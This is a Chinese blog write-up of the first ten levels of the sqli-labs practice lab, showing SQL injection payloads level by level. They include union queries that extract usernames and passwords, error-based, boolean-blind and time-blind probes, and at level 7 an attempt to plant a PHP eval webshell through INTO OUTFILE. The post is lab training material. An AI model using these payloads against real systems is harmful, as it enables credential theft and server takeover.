mysql查询%3cnull%3e_sqli-labs-master前十关过关总结

本文详细介绍了SQL注入攻击的各种类型和防范方法,包括报错注入、联合查询、时间盲注等,并提供了Windows命令行登录MySQL进行查验的步骤。通过实例展示了如何利用Firefox插件进行注入测试,以及如何通过布尔盲注和时间盲注判断条件。文章还提及了数据库的路径探测和权限检查,以及双引号闭合的判断。
摘要由CSDN通过智能技术生成

10af4c4f4a062fa9fa397a504c40e7f3.png

登入Windows命令行MySQL,方便查验注入命令

第一关:

在$_GET id 处注入

ddf44c69c55b324e615bc597d912b18c.png源码如下

只需构造闭合即可爆出数据

单引号’报错

查列数:

a7559e97d3da3cba4fd49fb93d855766.png

知道为3列之后使用sql联合查询语句:union

这里需要注意,使用联合查询爆出数据库名称的时候前面id值需要放空:

a91b9853642126aa12a1e1e1f09818a7.png

因为网页上能显示的只有第一行的内容

7a8453f9464fa4a6760b18c8798b53b5.png

6e7ce2e108cdbfcd5ff5832533815276.png

所以前面id值需要放空为“null”

查看所有数据库名称:

?id=' union select 1,group_concat(

schema_name),3 from

information_schema.schemata --+

9a1b26dacdcfaacf1f19fd0f18381a0e.png

查看所有表名:

?id=' union select 1,group_concat(

table_name),3 from

information_schema.tables where

table_schema='security' --+

e436579b44d450e49d073e964b34b81b.png

已知数据库名和表名,爆列名:

?id=' union select 1,group_concat(

column_name),3 from

information_schema.columns where

table_schema='security' and

table_name='users' --+

688c7b73b80826ba9ac81eea4fb35ae5.png

分别在2,3处显示username和password:

?id=' union select 1,group_concat(

username),group_concat(

password) from

users --+

dee41d289df3798e28836542c01cf8f4.png

第二关:

通第一关类型一致,但是为数字型报错,不需要闭合

c936addbc79db6983e196c9947f6e4b6.png

所有步骤同第一关一样

f687c47f18351c3eb7f94e9691e81ee7.png

第三关:

同上,报错为单引号+小括号:   ')

1a5fee301e73fec8f75be2a2bde00bb6.png

685c2a96a3abe301a67d445141a97c9f.png

第四关:

79ff5983a9f82a4e5485f343890a3e93.png

第五关:

报错型注入原理 https://www.cnblogs.com/-zhong/p/10892439.html

先构造出闭合,直到其为报错为止,就说明以及进去了

51905ef21b6ec4fd8c2416453a7d88e7.png

3af19db9822e8a4a611555d83bad4b0e.png

利用Firefox插件MaxHacKBar(f12)中的报错语句

c520a79f45b72c0c4d00d2e8b1d93950.png

第六关

同第五关一样

f488fc933ccbcae86c92eb994f326ef8.png

找到了闭合点一切就可以按照套路来了

第七关

e5b5a5ec524ed6b9a63fac3982b465f8.png

需要了解这两个函数,可以调出数据库的安装路径,以便通过菜刀连接远程服务器

da239c422297dbca08e815d913d8414d.png

钥匙我们需要写入木马文件,需要先判断是否具有写权限:

?id=1' and (select count(*)from mysql.user)>0 --+

若返回正常则具有写权限

http://192.168.43.221/sqli-labs-master/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20muma.php%20--+

无法写入,理论上都是正确的。。。先走一步看一步,不要在这儿浪费太多的时间

第八关:

这一关是基于布尔的盲注,从报错的结果返回来判断我们的猜测是否正确

盲注需要掌握一些MySQL的相关函数:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

正确的显示为:

6286b2511b1f2520c93ae19a6154df44.png

错误的显示为:

84f06f0222fdc2a1eefc3613493c5ea2.png

02f5cdec966b85e5259b49a4745994af.png

所以这里的闭合为单引号 :‘

先在dos上测试一下:

aa0e193d9ed8676773531cc358e72fe8.png

security第一个字母就是 s (这里也区分大小写哦)

故可以进行布尔判断:

?id=1' and if(ascii(substr((select database()),1,1))>114,1,0) --+

68a98a3bec36f4c7090c43ea7cbd11c3.png

规律同上面关卡所示

第九关:

基于布尔的时间盲注:

通过sleep()函数,通过web界面的返回时间长短判断是否被执行

括号内的数字代表延迟时间(单位是秒s)

在时间盲注上的sleep韩束位置选择,最好可以再是错次数交多处进行卡顿,这样可以大大节约测试时间

a34f451a2133c92b3a27f75e853fcd4f.png正在卡顿中....

?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(2)) --+

同样套路

第十关:

发现标题是:

38df16fce9b37ce3270243ced62de2e2.png双引号,但是却一直是同样的“you are in ...”

那就该是被定向了,需要通过实践延迟函数来判断他的闭合区间:

?id=1" and sleep(5) --+

这个的返回时间明显加长了很多,那就是双引号了。

65ac3e7d6d84e2e3f65ba10a556ab49f.png

具体的时间注入这里就不想过深的去实践,因为太浪费时间,可以自己用python写出一个运行脚本或者是直接上工具SQLmap来进行测试;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值